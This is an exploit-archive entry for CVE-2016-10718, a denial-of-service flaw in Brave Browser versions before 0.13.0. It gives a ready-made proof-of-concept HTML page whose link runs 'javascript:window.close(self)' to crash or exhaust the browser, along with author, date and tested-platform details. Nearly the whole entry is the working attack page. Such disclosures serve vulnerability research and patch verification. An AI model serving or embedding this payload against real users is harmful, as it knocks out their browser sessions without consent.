Brave Browser < 0.13.0 - 'window.close(self)' Denial of Service

Related Vulnerabilities: CVE-2016-10718  
Publish Date: 17 Apr 2018
Author: Sahil Tikoo
                							

                # Exploit Title:Brave Browser &lt; 0.13.0 Denial of Service (resource consumption) via a window.close(self) js code.
# Date: 2017-10-16
# Exploit Author: Sahil Tikoo
# Vendor Homepage: https://brave.com
# Software Link: https://github.com/brave/browser-laptop
# Version: 0.12.5
# Tested on: Kali Linux,Ubuntu ,Windows OS
# CVE : CVE-2016-10718

&lt;html&gt;
&lt;title&gt;Brave Window Object Remote Denial of Service.&lt;/title&gt;
&lt;head&gt;&lt;/head&gt;

&lt;body&gt;&lt;br&gt;&lt;br&gt;
&lt;h1&gt;&lt;center&gt;Brave Window Object Remote Denial of Service&lt;/center&gt;&lt;/h1&gt;&lt;br&gt;&lt;br&gt;
&lt;h2&gt;&lt;center&gt;Proof of Concept&lt;/center&gt;&lt;/br&gt;&lt;/br&gt; &lt;/h2&gt;

&lt;center&gt;
&lt;b&gt;Click the below link to Trigger the Vulnerability..&lt;/b&gt;&lt;br&gt;&lt;br&gt;
&lt;hr&gt;&lt;/hr&gt;

&lt;hr&gt;&lt;/hr&gt;
&lt;b&gt;&lt;center&gt;&lt;a href="javascript:window.close(self);"&gt;Brave Window Object DoS Test POC&lt;/a&gt;&lt;/center&gt;

&lt;/center&gt;
&lt;/body&gt;

&lt;/html&gt;